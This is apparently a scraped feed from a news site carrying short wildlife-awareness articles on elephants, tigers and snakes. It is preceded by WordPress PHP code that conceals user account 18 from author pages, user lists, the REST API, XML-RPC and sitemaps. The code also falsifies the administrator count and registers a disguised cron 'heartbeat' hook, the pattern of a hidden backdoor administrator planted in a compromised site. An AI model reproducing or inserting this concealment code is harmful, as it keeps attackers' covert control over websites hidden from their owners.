add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post All you need to know about World Elephant Day appeared first on The Edge Media.
]]>Over the years, the initiative gained extensive support from celebrities, politicians and others.
World Elephant Day 2021: History
On August 12, 2012, the first World Elephant Day was observed, highlighting the plight of Asian and African elephants. The Thai-based Elephant Reintroduction Foundation, in collaboration with Canadian filmmaker Patricia Sims, organized the event for the day. And since 2012, The Sims has been a leader in World Elephant Day.
The day also focuses on spreading awareness about their preservation and protection. Notably, various threats including, poaching, habitat loss, mistreatment in captivity hover over elephants, especially Asian and African.
Over the years, Canadian filmmaker Patricia Sims’s charitable organisation World Elephant Society has educated many and has also created awareness on an international level for elephant protection.
The Society works in partnership with 100 elephant conservation organisations. Several organisations and individuals are urged to come together to raise awareness about the challenges that elephants face.
The organization’s “unbiased” approach allows and encourages campaigns by all groups and citizens under the common umbrella of “World Elephant Day”.
World Elephant Day 2021: Significance
According to recent data of WWF (World Wide Fund for Nature), there are roughly 440,000 elephants left on the planet. The WWF also revealed that every year around 15,000 elephants are hunted by poachers. It is not only our responsibility to take measures for their conservation but also create awareness about the possible ‘Elephant Extinction.’
Meanwhile, despite being cultural and religious icons in India, elephants are badly treated by unschooled mahouts. Many elephants fell prey to electrocution, train accidents, poaching and poisoning.
According to the World Wide Fund for Nature, the number of wild Asiatic elephants has dipped below 50,000, which is just 15% of its historic average. Wild Asiatic elephants are primarily found in India and in some parts of Southeast Asia.
World Elephant Day 2021: Support the cause
To observe World Elephant Day, Blue Dart will plant 1,031,170 trees for elephants on the outskirts of Dalma Wildlife Sanctuary in East Singhbum, Jharkhand. While Grow-Trees.com is planting millions of trees in Singhbhum Elephant Reserve, Jharkhand to repair fragmented migration routes, create sheltered and screened areas for elephants and expand habitats.
World Elephant Day 2021: Theme
This theme for this year’s World Elephant Day has not been announced, however, last year it was ‘Haathi Hamara Saathi.’
The post All you need to know about World Elephant Day appeared first on The Edge Media.
]]>The post All you need to know about International Tiger Day appeared first on The Edge Media.
]]>International Tiger Day also know as World Tiger Day is observed every year on 29 July. The day is observed to spread awareness about dangers faced by tigers.
It is very important to focus on tiger conservation as it plays a very important role in protecting and maintaining a balanced ecosystem across its range.
According to World Wide Fund for Nature (WWF), “As top predators, wild tigers play an important role in maintaining the harmony of the planet’s ecosystems. By preying on herbivores, tigers help to keep the balance between the prey animals and the forest vegetation which they feed upon.”

International Tiger Day: History
World Tiger Day was first observed in the year 2010 at the Saint Petersburg Tiger Summit in Russia. A total of thirteen tiger range countries came together and decided a global goal to double the number of wild tigers by the year 2022.
International Tiger Day: Significance
According to World Wide Fund for Nature (WWF), there may have been 100,000 tigers at the beginning of the 20th century. The number was drastically reduced to 3,200 in the year 2010. Therefore, it becomes extremely important to save these wild cats.
International Tiger Day play a important role in it by spreading awareness and by working towards conservation of tigers.
“The greatness of a nation and its moral progress can be judged by the way its animals are treated.” -Mahatma Gandhi
The post All you need to know about International Tiger Day appeared first on The Edge Media.
]]>The post On the occasion of World Snake Day, here are some stunning facts about snakes appeared first on The Edge Media.
]]>
Sixteenth of July each year marks the celebration as World Snake Day. The day aims to raise awareness about different kinds of snakes found in the world and to shine a spotlight on the indispensable role they play in the biosphere.
Our planet Earth is home to more than 3,500 species of snakes of which nearly 600 are venomous. Unfortunately, these limbless, elongated reptiles are often misunderstood. This World Snake Day shed your fears and learn more about snakes.
Below are some stunning facts about snakes :
1) King Cobra, the world’s longest snake, is also the only snake species in the world that makes a nest for laying its eggs.
2) Flying snakes exist. These limbless creatures aren’t capable of flying like birds or bats but can glide down from trees by trapping air under their bodies with the help of their ribs.
3) Snakes lack external ears. Then how do they sense sound? Well, bones in the lower jaw of snakes are capable of picking up sound waves from water or ground surface.
4) You’d think that a creature without limbs would a poor climber. But this is not true in the case of snakes. These limbless reptiles can smoothly climb trees with the help of their belly scales.
5) Snake venom is actually modified saliva. Snakes use venom to immobilise and digest prey, and as a defence against threats.
6) Snake venom has the ability to cure. Snake venom components are used for developing certain muscle relaxants, analgesics, and drugs for neurodegenerative disorders.
7) Some snake species give birth to developed young ones instead of laying eggs. Russell’s viper is one of them.
8) Evolution has gifted some snake species infrared vision, also known as heat vision. It helps these cold-blooded reptiles track warm-blooded prey by sensing the heat they emit from their bodies.
9) Snakes have poor eyesight and limited hearing, but they have an impeccable sense of smell. Did you know that snakes smell with their tongues? Snake tongue grabs chemical compounds (that smells are made of) from air, water and ground. That’s why snakes keep flicking their tongues out.
The post On the occasion of World Snake Day, here are some stunning facts about snakes appeared first on The Edge Media.
]]>The post Critically Endangered Sumatran Elephant found beheaded in Indonesia. appeared first on The Edge Media.
]]>On Sunday, The rotting carcass was discovered at a palm oil plantation in Sumatra’s Aceh region and a subsequent autopsy found that the animal had also been poisoned.
“The remains of the wild elephant were found in a tragic condition with its head gone,” Said Rosa Rika Wahyuni, a doctor at the Aceh conservation agency.
“We found the poison in its digestive system,” she added.
It was not clear how long the male elephant, estimated to be about 12 years old, had been dead.
The post Critically Endangered Sumatran Elephant found beheaded in Indonesia. appeared first on The Edge Media.
]]>